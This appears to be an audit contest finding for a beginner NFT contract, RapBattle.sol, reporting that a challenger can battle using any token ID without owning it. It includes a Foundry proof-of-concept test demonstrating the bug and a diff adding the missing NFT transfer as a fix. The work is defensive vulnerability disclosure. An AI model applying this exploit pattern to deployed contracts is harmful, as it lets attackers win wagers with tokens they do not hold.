Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

'RapBattle.sol::goOnStageOrBattle' challenger can use any oneShotNft to battle with

Summary

The challenger in 'RapBattle.sol::goOnStageOrBattle' can enter any tokenId and use any oneShotNft as their NFT to battle with

Vulnerability Details

goOnStageOrBattle transfers the NFT of the defender but it does not require a transfer of the NFT for the challenger. Then in _battle, the challengerRapperSkill is set to be the _tokenId of the given token, without any check to see if the msg.sender is the owner of that token.

uint256 challengerRapperSkill = getRapperSkill(_tokenId);

Impact

This test passes showing that the challenger in the rap battle can use any token as their own to battle with, even a non-existing one.

modifier twoSkilledRappers() {
vm.startPrank(user);
oneShot.mintRapper();
oneShot.approve(address(streets), 0);
streets.stake(0);
vm.stopPrank();
vm.startPrank(challenger);
oneShot.mintRapper();
oneShot.approve(address(streets), 1);
streets.stake(1);
vm.stopPrank();
vm.warp(4 days + 1);
vm.startPrank(user);
streets.unstake(0);
vm.stopPrank();
vm.startPrank(challenger);
streets.unstake(1);
vm.stopPrank();
_;
}
modifier mintThirdRapper() {
vm.prank(thirdRapper);
oneShot.mintRapper();
_;
}
function testChallengerCanUseAnyNFT(uint256 randomBlock) public twoSkilledRappers mintThirdRapper {
vm.startPrank(user);
oneShot.approve(address(rapBattle), 0);
cred.approve(address(rapBattle), 3);
console.log("User allowance before battle:", cred.allowance(user, address(rapBattle)));
rapBattle.goOnStageOrBattle(0, 3);
vm.stopPrank();
vm.startPrank(challenger);
cred.approve(address(rapBattle), 3);
console.log("User allowance before battle:", cred.allowance(challenger, address(rapBattle)));
// Change the block number so we get different RNG
vm.roll(randomBlock);
vm.recordLogs();
rapBattle.goOnStageOrBattle(500, 3);
vm.stopPrank();
Vm.Log[] memory entries = vm.getRecordedLogs();
// Convert the event bytes32 objects -> address
address winner = address(uint160(uint256(entries[0].topics[2])));
assert(cred.balanceOf(winner) == 7);
}

Tools Used

--Foundry

Recommendations

It is recommended to also transfer the challengers token to make sure that they are the owner of it.

function goOnStageOrBattle(uint256 _tokenId, uint256 _credBet) external {
if (defender == address(0)) {
defender = msg.sender;
defenderBet = _credBet;
defenderTokenId = _tokenId;
emit OnStage(msg.sender, _tokenId, _credBet);
oneShotNft.transferFrom(msg.sender, address(this), _tokenId);
credToken.transferFrom(msg.sender, address(this), _credBet);
} else {
// credToken.transferFrom(msg.sender, address(this), _credBet);
+ oneShotNft.transferFrom(msg.sender, address(this), _tokenId);
_battle(_tokenId, _credBet);
}
function _battle(uint256 _tokenId, uint256 _credBet) internal {
address _defender = defender;
require(defenderBet == _credBet, "RapBattle: Bet amounts do not match");
uint256 defenderRapperSkill = getRapperSkill(defenderTokenId);
uint256 challengerRapperSkill = getRapperSkill(_tokenId);
uint256 totalBattleSkill = defenderRapperSkill + challengerRapperSkill;
uint256 totalPrize = defenderBet + _credBet;
uint256 random =
uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, msg.sender))) % totalBattleSkill;
// Reset the defender
defender = address(0);
emit Battle(msg.sender, _tokenId, random < defenderRapperSkill ? _defender : msg.sender);
// If random <= defenderRapperSkill -> defenderRapperSkill wins, otherwise they lose
if (random <= defenderRapperSkill) {
// We give them the money the defender deposited, and the challenger's bet
credToken.transfer(_defender, defenderBet);
credToken.transferFrom(msg.sender, _defender, _credBet);
} else {
// Otherwise, since the challenger never sent us the money, we just give the money in the contract
credToken.transfer(msg.sender, _credBet);
}
totalPrize = 0;
// Return the defender's NFT
oneShotNft.transferFrom(address(this), _defender, defenderTokenId);
+ oneShotNft.transferFrom(address(this), msg.sender, _tokenId);
}
}
Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Challenger can use any nft to battle - not necessarily theirs

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.